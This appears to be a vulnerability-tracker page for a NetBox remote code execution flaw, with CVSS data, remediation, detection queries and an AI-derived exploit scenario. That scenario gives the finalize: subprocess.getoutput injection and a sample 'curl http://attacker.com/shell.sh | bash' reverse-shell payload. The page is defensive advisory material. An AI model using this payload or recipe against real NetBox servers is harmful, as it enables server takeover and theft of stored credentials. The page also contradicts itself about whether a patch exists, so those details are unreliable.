Skip to main content

NetBox CVE-2026-29514

| EUVDEUVD-2026-26997 HIGH
Permissive List of Allowed Inputs (CWE-183)
2026-05-04 VulnCheck
8.7
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain NetBox credentials with template permissions
  2. Delivery
    Authenticate to NetBox API/UI
  3. Exploit
    Create malicious ConfigTemplate with finalize: subprocess.getoutput
  4. Execution
    Render template to trigger command execution
  5. Persist
    Execute arbitrary Python/shell commands as NetBox service user
  6. Impact
    Exfiltrate secrets or establish persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
Exploitation Conditions

Attacker must possess valid NetBox credentials with either the exporttemplate permission (django.auth permission extras.add_exporttemplate) or configtemplate permission (extras.add_configtemplate). These permissions are commonly granted to network engineering teams, DevOps automation accounts, and mid-level administrators in typical NetBox role-based access control configurations. No other special conditions required-attack succeeds against default NetBox installations with network-accessible web interfaces (AV:N). Vulnerability exists in the core NetBox codebase, not an optional plugin, so all installations in the affected version range (4.3.5-4.5.4) are exploitable regardless of deployment architecture (bare-metal, Docker, Kubernetes). No user interaction required beyond the attacker's own template creation/rendering (UI:N). Attack complexity is low (AC:L) as the exploit requires only standard API calls or UI interactions with malicious JSON payloads-no race conditions, timing dependencies, or environment-specific quirks. Limiting factor: NetBox's default authentication is local username/password or LDAP/SAML SSO; attacker must first obtain credentials through phishing, credential stuffing, or compromise of an authenticated session. Organizations using strict IP allowlisting or VPN-only access reduce network exposure but do not eliminate risk from insider threats or compromised internal accounts.

Impact

High real-world risk despite requiring low-privilege authentication. CVSS 4.0 score of 8.7 reflects network attack vector (AV:N), low complexity (AC:L), and complete confidentiality/integrity/availability impact to the vulnerable system (VC:H/VI:H/VA:H) with no impact to subsequent systems (SC:N/SI:N/SA:N). The PR:L (low privilege required) is the primary gating factor-attackers need authenticated access with exporttemplate or configtemplate Django permissions, which are typically granted to network engineers and automation service accounts in NetBox deployments. Public proof-of-concept exists (Chocapikk advisory published before CVE assignment), lowering exploitation complexity to script-kiddie level. No CISA KEV listing or EPSS score provided in input data, suggesting exploitation is not yet widespread, but the combination of public exploit code + networked service + common permission model makes this a critical patching priority for NetBox operators. Organizations using NetBox for infrastructure-as-code or automated provisioning are especially vulnerable, as the service user often has elevated access to network devices and infrastructure APIs. Attack is fully automatable once credentials are obtained (UI:N), making it suitable for post-compromise lateral movement or persistence. The CVSS vector's zero subsequent-system impact (SC:N/SI:N/SA:N) may underestimate real risk if the NetBox service account has access to secrets, device credentials, or can modify network configurations.

Exploit ScenarioDerived

An attacker compromises a NetBox user account with exporttemplate permissions (common for network automation engineers or via credential stuffing against exposed instances). They authenticate to the NetBox web UI or API and navigate to the Export Templates section. Creating a new export template, they set the template_code field to {{ "whoami" }} and inject environment_params: {"finalize": "subprocess.getoutput"}. When any user (including themselves) renders this template-either manually via the UI or through NetBox's automated device configuration export-the finalize callback transforms every Jinja expression into command execution. The {{ "whoami" }} expression returns netbox (the service user) via subprocess.getoutput("whoami") executed outside the Jinja sandbox. The attacker escalates by modifying the template to {{ "curl http://attacker.com/shell.sh | bash" }}, achieving reverse shell as the NetBox service user, which typically has access to database credentials, device SSH keys stored in secrets, and API tokens for network infrastructure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 04, 2026

Remote code execution in NetBox 4.3.5-4.5.4 allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary Python code as the NetBox service user by injecting malicious callables into Jinja2 template environment parameters. Attackers bypass SandboxedEnvironment protections by setting the finalize parameter to dangerous imports like subprocess.getoutput, which executes on every rendered expression outside sandbox call interception. Public proof-of-concept exploit exists (chocapikk.com), and upstream patch available via GitHub PR #22078 implements an allowlist-based validation mechanism that blocks unauthorized callable resolution at both save-time and render-time.

Earlier versions of this analysis (1)
v1 May 04, 2026 - 17:02 CVSS 8.8

Remote code execution in NetBox 4.3.5-4.5.4 allows authenticated users with exporttemplate or configtemplate permissions to bypass Jinja2 sandbox protections and execute arbitrary Python code as the NetBox service user. Attackers exploit the RenderTemplateMixin.get_environment_params() method by setting the finalize parameter to malicious callables like subprocess.getoutput, which executes outside the sandbox's call interception. Public exploit code exists (chocapikk.com writeup) with EPSS indicating moderate exploitation probability. This is a critical privilege escalation path from low-privileged authenticated users to full server compromise.

RemediationAI

Upgrade to NetBox version 4.5.5 or later, which includes the patch from GitHub pull request #22078 implementing allowlist-based validation of Jinja2 environment parameters. The fix introduces JINJA_ENV_PARAM_IMPORT_ALLOWLIST that restricts the undefined parameter to four safe Jinja2.Undefined subclasses (jinja2.Undefined, jinja2.ChainableUndefined, jinja2.DebugUndefined, jinja2.StrictUndefined) and sets the finalize allowlist to an empty set, blocking all callable imports for finalize. Validation occurs at both model save-time (clean() method) and render-time (get_environment_params()) for defense-in-depth. Patched code available at https://github.com/netbox-community/netbox/pull/22078. If immediate upgrade is not feasible, implement compensating controls: (1) Audit and restrict exporttemplate and configtemplate Django permissions to only highly trusted administrators-remove these permissions from automation service accounts and junior operators; (2) Review all existing ConfigTemplate and ExportTemplate objects in the database for suspicious environment_params values containing dotted Python paths (SELECT id,name,environment_params FROM extras_configtemplate WHERE environment_params::text LIKE '%finalize%' OR environment_params::text LIKE '%subprocess%'); (3) Deploy web application firewall rules to block POST/PUT/PATCH requests to /api/extras/config-templates/ and /api/extras/export-templates/ endpoints containing environment_params.finalize or environment_params with non-allowlisted import paths; note this breaks legitimate undefined customization and may cause operational disruption. (4) Run NetBox service under a restricted user account with minimal filesystem and network access, and enable mandatory access controls (SELinux, AppArmor) to limit post-exploitation impact; this does NOT prevent RCE but contains lateral movement. No viable workaround fully mitigates the vulnerability without breaking template functionality.

Affected VersionsENISA

NetBox 4.3.5 ≤4.5.4

Affected Packages

euvd netbox no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NetBox is a Python-based infrastructure resource modeling (IPAM/DCIM) application used by network engineers. The vulnerable code exists in the RenderTemplateMixin.get_environment_params() method within the extras module (extras/models/mixins.py), which processes user-controlled environment_params fields for Jinja2 template rendering. The root cause (CWE-183: Permissive List of Allowed Inputs) stems from allowing arbitrary dotted Python paths to be resolved via Django's import_string() utility for Jinja environment parameters like finalize and undefined. While NetBox intended to render templates in a Jinja2 SandboxedEnvironment, the finalize callback parameter is invoked on every template expression result before the sandbox's call interception mechanism activates. By specifying finalize: subprocess.getoutput in the environment_params JSON field, attackers transform every Jinja expression into arbitrary command execution-e.g., {{ "id" }} becomes subprocess.getoutput("id") executed directly on the host. The patch introduces JINJA_ENV_PARAM_IMPORT_ALLOWLIST in extras/constants.py, restricting the undefined parameter to four safe Jinja2 classes and setting the finalize allowlist to an empty frozenset, effectively blocking all callable imports for finalize. Validation occurs both at model save-time (clean() method) and defensively at render-time (get_environment_params()), preventing exploitation of legacy data or direct database writes.

Know when Netbox gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
May 04, 2026 - 17:22 NVD
8.8 (HIGH) 8.7 (HIGH)
PoC Detected
May 04, 2026 - 17:16 vuln.today
Public exploit code
CVE Published
May 04, 2026 - 16:05 nvd
HIGH 8.7

DescriptionCVE.org

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.

Executive ViewAI

Why It Matters

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability that allows authenticated users with template management permissions to execute arbitrary commands on the NetBox server. This vulnerability directly compromises the integrity and confidentiality of network infrastructure data managed by NetBox, affecting any organization using vulnerable versions where users have template creation or editing rights.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Revoke exporttemplate and configtemplate permissions from all non-administrative users immediately; (2) Implement network-level access controls restricting template management interfaces to trusted IP ranges; (3) Monitor audit logs for template creation/modification events; (4) Deploy the upstream patch from GitHub PR #22078 if your deployment supports direct patching before official release.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Netbox

View all
CVE-2023-33796 CRITICAL POC
9.1 May 24

A vulnerability in Netbox v3.5.1 allows unauthenticated attackers to execute queries against the GraphQL database, grant

CVE-2026-86175 HIGH POC
7.1 Sep 05

Credential exposure in NetBox through 4.7.0 allows any authenticated user with only view-level permissions to retrieve p

CVE-2024-56917 HIGH POC
7.1 Jun 24

A cross-site scripting vulnerability in Netbox Community 4.1.7 (CVSS 7.1). Risk factors: public PoC available.

CVE-2024-56915 MEDIUM POC
6.5 Jun 26

Netbox Community v4.1.7 and fixed in v.4.2.2 is vulnerable to Cross Site Scripting (XSS) via the RSS feed widget.

CVE-2024-56918 MEDIUM POC
6.1 Jun 24

In Netbox Community 4.1.7, the login page is vulnerable to cross-site scripting (XSS), which allows a privileged, authen

CVE-2024-56916 MEDIUM POC
6.1 Jun 24

In Netbox Community 4.1.7, once authenticated, Configuration History > Add`is vulnerable to cross-site scripting (XSS) d

CVE-2024-40742 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

CVE-2024-40741 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

CVE-2024-40740 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

CVE-2024-40739 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

CVE-2024-40738 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

CVE-2024-40737 MEDIUM POC
6.1 Jul 09

A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy